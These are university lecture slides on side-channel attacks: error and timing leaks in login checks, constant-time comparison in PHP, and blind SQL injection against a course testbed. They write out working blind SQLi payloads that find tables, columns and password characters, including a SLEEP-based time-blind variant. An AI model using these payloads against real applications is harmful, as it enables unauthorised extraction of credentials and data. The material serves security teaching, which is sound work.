Side-channel attacks (and blind SQL injections)

Security 1  2018-19

Università Ca’ Foscari Venezia
www.dais.unive.it/~focardi
secgroup.dais.unive.it
Introduction

It is often the case that applications have side effects: an observable effect reflecting the internal state.

If the side effect depends on a secret value we have a partial leakage.

If the leakage is enough to recover the secret then we have an attack.
Necessary leakages

Consider a failure in password check:
1. User enters a password
2. The system checks the password (hash)
3. If the password is incorrect the user is notified

**Leak:** at each iteration the attacker discovers that a certain password is incorrect
⇒ An attacker might bruteforce a password online

**Solution:** slow down password check after some errors
Practical attacks

Small search space ⇒ the attack becomes fast!

- ATM PIN
- Telephone (SIM) PIN
- Any smartcard PIN
- Smartphone PIN
- ...

⇒ 5 digits PINs are just 99999!

**Solution:** Lock device after some attempts
Kind of side channels

Side channels can be based on

- Errors
- Time
- Content
- Size
- Power consumption
- Electromagnetic emissions
- ...
Example: Wrong credentials
We cannot ignore the error, but we can **minimize** the leak by “hiding” what is wrong

1. if username is wrong return “User does not exists”
2. if password is wrong return “Wrong password”

**Solution**: if either username or password is wrong return “Wrong credentials”
Consider again the example: if either username or password is wrong return “Wrong credentials”

The test “either username or password is wrong” might be faster when the username is wrong
⇒ an attacker observing time could still deduce that the User does not exist!

Solution: use time-safe code!
Equality tests leak sensitive data:

'aaaaaaaaaaa' == 'aaaaaaaaaa'

slower than

'aaaaaaaaaaa' == 'aaaaaaaabb'

much slower than

'aaaaaaaaaaa' == 'baaaaaaaa'

and

'aaaaaaaaaaa' == 'a'
Attacker starts from

```
'axxxxxx' == '********'
'bxxxxxx' == '********'
```

...  

```
'sxxxxxxx' == '********'
```

Slower! first ★ is s!

Then

```
'saxxxxxx' == '********'
'sbxxxxxx' == '********'
```

...
Time-safe functions

For example, in PHP:

```php
bool hash_equals ( string $known_string ,
string $user_string )
```

Compares two strings using the same time whether they're equal or not.

This function should be used to mitigate timing attacks; for instance, when testing `crypt()` password hashes.

Neither PHP's `==` and `===` operators nor `strcmp()` perform constant time string comparisons.
Blind SQL injection

An injection that exploits a *side channel* to leak information:

- The injection queries sensitive data
- The result is leaked via side channel

⇒ It is **effective** when the result of the query cannot be directly displayed
Possible side channels

Depending of the query **success**, the application shows:
- a distinguishable message;
- an error;
- a broken page
- an empty page
- ...

Intuitively, we get a 1-bit boolean answer

⇒ **Iteration** might leak the whole sensitive data
Consider, for example, a **password recovery service** (use haxor/sqleet to login)

It sends an email with a new password to users, if they are registered in the system

⇒ If the user is registered the email is sent, otherwise an error message is displayed.
Example ctd.

Suppose the query is something like:

```
SELECT 1 FROM ... WHERE ... = 'EMAIL'
```

If the query is successful the answer is YES otherwise the answer is NO (including when there is an error)

What is the effect of ' OR 1=1 # '?

⇒ Makes the query succeed but does not leak any data
⇒ .... apart that we discover that injections are possible
Leaking something

We can now inject the following code:

```
' OR (SELECT 1 FROM users LIMIT 0,1)=1 #
```

Check if the table `users` exists!

Notice the usage of `LIMIT 0,1` to just get the first row, where 0 is the OFFSET and 1 the ROWCOUNT

In our example the name of the table is `people`...
Experiment on testbed

r1x@testbed ~ $ mysql -A -usqli_example -psqli_example

```
sqli_example
mysql> SELECT 1 FROM people WHERE mail='' OR (SELECT 1 FROM people LIMIT 0,1)=1;
+-----+
| 1   |
+-----+
| 1   |
| 1   |
| 1   |
| ... |
| 1   |
| 1   |
+-----+
10 rows in set (0.00 sec)
```
Experiment on testbed

We get 10 rows with value 1 (OK or not ...)
If we want to **limit** the result to one row we can add another LIMIT directive as follows:

```
mysql> SELECT 1 FROM people WHERE mail='' OR (SELECT 1 FROM people LIMIT 0,1)=1 LIMIT 0,1;
+----+
| 1  |
+----+
| 1  |
+----+
1 row in set (0.00 sec)
```
Checking column name

We can use the `MID` function to check the existence of a particular column:

```
' OR (SELECT MID(password, 1, 0) FROM people LIMIT 0, 1) = '' #
```

Only when `password` exists we get a positive result. The `MID(password, 1, 0)` gets the substring of length 0 from position 1.
Leaking arbitrary data

Guessing rows and columns names and data can work in simple examples

Can we leak arbitrary data?

' or (SELECT MID(password,1,1) FROM people LIMIT 0,1)='a' #
' or (SELECT MID(password,1,1) FROM people LIMIT 0,1)='b' #
...
' or (SELECT MID(password,1,1) FROM people LIMIT 0,1)='z' #

⇒ Brute forces the first character of the first password!
Exercises

1. Brute force the lastname of users in people
2. Improve the attack using binary search:
   ' or (SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('a') #
3. When no error message is given it is still possible to try a totally blind injection
   ' or (SELECT IF((SELECT ORD(MID(password,1,1)) FROM people LIMIT 0,1)<=ORD('z'),SLEEP(0.1),NULL)) #